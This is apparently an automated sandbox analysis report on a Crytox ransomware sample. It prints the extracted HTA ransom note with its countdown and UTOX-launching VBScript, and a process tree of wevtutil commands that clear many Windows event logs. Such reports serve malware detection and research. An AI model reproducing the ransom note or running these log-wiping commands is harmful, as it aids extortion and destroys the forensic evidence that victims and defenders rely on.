Overview

overview

10

Static

static

5

sub_79aff06385c1.exe

windows10-2004-x64

10

sub_79aff06385c1.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    7s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/05/2026, 01:47

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sub_79aff06385c1.exe
  • Size 1.2MB
  • Sample260524-b71deahx71
  • SHA256 79aff06385c16a98594c6fd314c572bfbe07fbe923f30a627e9b86ac3ab7c071
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasioncrytoxpersistenceransomwareupx

Malware Config

Extracted

Path

  • F:\$RECYCLE.BIN\S-1-5-21-2824035265-2271499813-2042964211-1000\ReadMe.hta

  • crytox

Ransom Note
  • <html><head><meta charset='UTF-8'><title>recovery tool</title><HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'>window.moveTo(50,50);window.resizeTo(screen.width-100,screen.height-100);</script><script>function countdown(dateEnd){var timer,days,hours,minutes,seconds;dateEnd=new Date(dateEnd);dateEnd=dateEnd.getTime();if(isNaN(dateEnd)){return;}timer=setInterval(calculate,1000);function calculate(){var dateStart=new Date();var dateStart=new Date(dateStart.getUTCFullYear(),dateStart.getUTCMonth(),dateStart.getUTCDate(),dateStart.getUTCHours(),dateStart.getUTCMinutes(),dateStart.getUTCSeconds());var timeRemaining=parseInt((dateEnd-dateStart.getTime())/1000);if(timeRemaining>=0){days=parseInt(timeRemaining/86400);timeRemaining=(timeRemaining%86400);hours=parseInt(timeRemaining/3600);timeRemaining=(timeRemaining%3600);minutes=parseInt(timeRemaining/60);timeRemaining=(timeRemaining%60);seconds=parseInt(timeRemaining);document.getElementById("days").innerHTML=parseInt(days,10);document.getElementById("hours").innerHTML=("0" + hours).slice(-2);document.getElementById("minutes").innerHTML=("0"+minutes).slice(-2);document.getElementById("seconds").innerHTML=("0"+seconds).slice(-2);}else{return;}}function display(days,hours,minutes,seconds){}}countdown('05/29/2026');</script><script language="VBScript">Sub RunUTOX( ) set sh = CreateObject("Wscript.shell") sh.Run "%windir%\utox.exe",1 End Sub</script> <style type='text/css'>body {font:15px Tahoma;margin:10px;line-height:25px;background:#000000;color:#FFF} .bold {font-weight:bold;} .mark {color:#ffd731;padding:2px 5px;} img {display:block;margin:auto;} .header {text-align:center;font-size:30px;line-height:50px;font-weight:bold;margin-bottom:20px;} .info {background:#000000;border-left:10px solid #000000;} .alert {background:#FF0000;border-left:10px solid #FF0000;} .private {border:1px dashed #000;background:#FFFFEF;} .note {height:auto;padding-bottom:1px;margin:15px 0;} .note .title {font-weight:bold;text-indent:10px;height:30px;line-height:30px;padding-top:10px;} .note .mark {background:#A2A2B5;} .note ul {margin-top:0;} .note pre {margin-left:15px;line-height:13px;font-size:13px;}.countdown{width:100%;float:left;margin:20px auto}.timer{font:72px Courier;color:#fff;text-align:center}</style></head><body><img src='data:image/jpeg;base64,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'><div class='header'><div>YOUR FILES ARE ENCRYPTED</div></div><div class='bold'>Your PC security is at risk</span></div><div class='bold'>All your files were encrypted and important data was copied to our storage</span></div><div class='bold'>If you do not need your files, then the private key will be deleted within 5 days</span></div><div class='bold'>If you want to restore files and return important data,<input type="button" value="start UTOX" onclick="vbscript:RunUTOX ( )"/> application, contact the operator and enter YOUR ID </span><font color=Lime> STMXUYUL4</font></div><div class='bold'>ID of your personal operator </span><font color=Blue> 0520B56A668EE2349255CA2FFDEBDA61323169F7862CD017F300C2630BD56227657B3C58474F</font></div></div><div class='bold'>If the Operator did not respond within 24 hours or encountered any problem then send an email to our support </span><font color=Blue>[email protected]</font></div><div class='bold'>In the header of the letter, indicate your ID and attach 2-3 infected files for the decryption tool</span></div><div class='bold'>Files should not have important information and should not exceed the size of more than 5 MB</span></div><div class='bold'>As our guarantees, we will return your files restored</span></div><div class='note alert'><div class='title'>Attention!</div><ul><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</div></li><div class='countdown'><p class='timer'><span id='days'></span>:<span id='hours'></span>:<span id='minutes'></span>:<span id='seconds'></span></p></div></ul></div></body></html>
Emails

Signatures

  • Family: Crytox

    Crytox is a ransomware that has been active since 2020.

    ransomwarecrytox
  • Clears Windows event logs 1 TTPs 64 IoCs
    defense_evasionransomware
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 36 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Deletes itself
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\rwjfk.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wevtutil.exe el
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4880
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe el
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4772
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "AMSI/Debug"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4492
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "AirSpaceChannel"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:1444
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Analytic"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2248
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Application"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4612
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "DirectShowFilterGraph"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:3588
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "DirectShowPluginControl"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4056
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Els_Hyphenation/Analytic"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:4396
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "EndpointMapper"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:3844
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "FirstUXPerf-Analytic"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3972
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "ForwardedEvents"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1184
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "General Logging"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2304
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "HardwareEvents"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:3288
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "IHM_DebugChannel"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:2388
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:4256
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3132
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1832
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:5004
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Intel-iaLPSS2-I2C/Debug"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4872
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Intel-iaLPSS2-I2C/Performance"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:4836
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Internet Explorer"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:3720
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "Key Management Service"
        3⤵
        • Clears Windows event logs
        • Suspicious use of AdjustPrivilegeToken
        PID:1912
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "MF_MediaFoundationDeviceMFT"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1280
      • C:\Windows\system32\wevtutil.exe
        wevtutil.exe cl "MF_MediaFoundationFrameServer"
        3⤵
          PID:2056
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MedaFoundationVideoProc"
          3⤵
          • Clears Windows event logs
          PID:2852
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MedaFoundationVideoProcD3D"
          3⤵
            PID:4172
          • C:\Windows\system32\wevtutil.exe
            wevtutil.exe cl "MediaFoundationAsyncWrapper"
            3⤵
              PID:3988
            • C:\Windows\system32\wevtutil.exe
              wevtutil.exe cl "MediaFoundationContentProtection"
              3⤵
              • Clears Windows event logs
              PID:4588
            • C:\Windows\system32\wevtutil.exe
              wevtutil.exe cl "MediaFoundationDS"
              3⤵
                PID:3352
              • C:\Windows\system32\wevtutil.exe
                wevtutil.exe cl "MediaFoundationDeviceProxy"
                3⤵
                • Clears Windows event logs
                PID:2988
              • C:\Windows\system32\wevtutil.exe
                wevtutil.exe cl "MediaFoundationMP4"
                3⤵
                  PID:3088
                • C:\Windows\system32\wevtutil.exe
                  wevtutil.exe cl "MediaFoundationMediaEngine"
                  3⤵
                    PID:1080
                  • C:\Windows\system32\wevtutil.exe
                    wevtutil.exe cl "MediaFoundationPerformance"
                    3⤵
                    • Clears Windows event logs
                    PID:1776
                  • C:\Windows\system32\wevtutil.exe
                    wevtutil.exe cl "MediaFoundationPerformanceCore"
                    3⤵
                    • Clears Windows event logs
                    PID:3312
                  • C:\Windows\system32\wevtutil.exe
                    wevtutil.exe cl "MediaFoundationPipeline"
                    3⤵
                      PID:652
                    • C:\Windows\system32\wevtutil.exe
                      wevtutil.exe cl "MediaFoundationPlatform"
                      3⤵
                      • Clears Windows event logs
                      PID:4736
                    • C:\Windows\system32\wevtutil.exe
                      wevtutil.exe cl "MediaFoundationSrcPrefetch"
                      3⤵
                      • Clears Windows event logs
                      PID:2792
                    • C:\Windows\system32\wevtutil.exe
                      wevtutil.exe cl "Microsoft-AppV-Client-Streamingux/Debug"
                      3⤵
                      • Clears Windows event logs
                      PID:4492
                    • C:\Windows\system32\wevtutil.exe
                      wevtutil.exe cl "Microsoft-AppV-Client/Admin"
                      3⤵
                        PID:1232
                      • C:\Windows\system32\wevtutil.exe
                        wevtutil.exe cl "Microsoft-AppV-Client/Debug"
                        3⤵
                        • Clears Windows event logs
                        PID:3584
                      • C:\Windows\system32\wevtutil.exe
                        wevtutil.exe cl "Microsoft-AppV-Client/Operational"
                        3⤵
                        • Clears Windows event logs
                        PID:2328
                      • C:\Windows\system32\wevtutil.exe
                        wevtutil.exe cl "Microsoft-AppV-Client/Virtual Applications"
                        3⤵
                          PID:1740
                        • C:\Windows\system32\wevtutil.exe
                          wevtutil.exe cl "Microsoft-AppV-SharedPerformance/Analytic"
                          3⤵
                            PID:3888
                          • C:\Windows\system32\wevtutil.exe
                            wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Admin"
                            3⤵
                            • Clears Windows event logs
                            PID:4024
                          • C:\Windows\system32\wevtutil.exe
                            wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Debug"
                            3⤵
                              PID:2440
                            • C:\Windows\system32\wevtutil.exe
                              wevtutil.exe cl "Microsoft-Client-Licensing-Platform/Diagnostic"
                              3⤵
                              • Clears Windows event logs
                              PID:3588
                            • C:\Windows\system32\wevtutil.exe
                              wevtutil.exe cl "Microsoft-IE/Diagnostic"
                              3⤵
                                PID:2032
                              • C:\Windows\system32\wevtutil.exe
                                wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
                                3⤵
                                  PID:3608
                                • C:\Windows\system32\wevtutil.exe
                                  wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
                                  3⤵
                                    PID:3964
                                  • C:\Windows\system32\wevtutil.exe
                                    wevtutil.exe cl "Microsoft-OneCore-Setup/Analytic"
                                    3⤵
                                      PID:3660
                                    • C:\Windows\system32\wevtutil.exe
                                      wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
                                      3⤵
                                        PID:4108
                                      • C:\Windows\system32\wevtutil.exe
                                        wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
                                        3⤵
                                          PID:4148
                                        • C:\Windows\system32\wevtutil.exe
                                          wevtutil.exe cl "Microsoft-System-Diagnostics-DiagnosticInvoker/Operational"
                                          3⤵
                                            PID:4156
                                          • C:\Windows\system32\wevtutil.exe
                                            wevtutil.exe cl "Microsoft-User Experience Virtualization-Admin/Debug"
                                            3⤵
                                              PID:4472
                                            • C:\Windows\system32\wevtutil.exe
                                              wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Debug"
                                              3⤵
                                                PID:1632
                                              • C:\Windows\system32\wevtutil.exe
                                                wevtutil.exe cl "Microsoft-User Experience Virtualization-Agent Driver/Operational"
                                                3⤵
                                                  PID:4516
                                                • C:\Windows\system32\wevtutil.exe
                                                  wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Analytic"
                                                  3⤵
                                                    PID:4664
                                                  • C:\Windows\system32\wevtutil.exe
                                                    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Debug"
                                                    3⤵
                                                    • Clears Windows event logs
                                                    PID:4688
                                                  • C:\Windows\system32\wevtutil.exe
                                                    wevtutil.exe cl "Microsoft-User Experience Virtualization-App Agent/Operational"
                                                    3⤵
                                                    • Clears Windows event logs
                                                    PID:4696
                                                  • C:\Windows\system32\wevtutil.exe
                                                    wevtutil.exe cl "Microsoft-User Experience Virtualization-IPC/Operational"
                                                    3⤵
                                                      PID:4464
                                                    • C:\Windows\system32\wevtutil.exe
                                                      wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Analytic"
                                                      3⤵
                                                        PID:1464
                                                      • C:\Windows\system32\wevtutil.exe
                                                        wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Debug"
                                                        3⤵
                                                          PID:4568
                                                        • C:\Windows\system32\wevtutil.exe
                                                          wevtutil.exe cl "Microsoft-User Experience Virtualization-SQM Uploader/Operational"
                                                          3⤵
                                                            PID:412
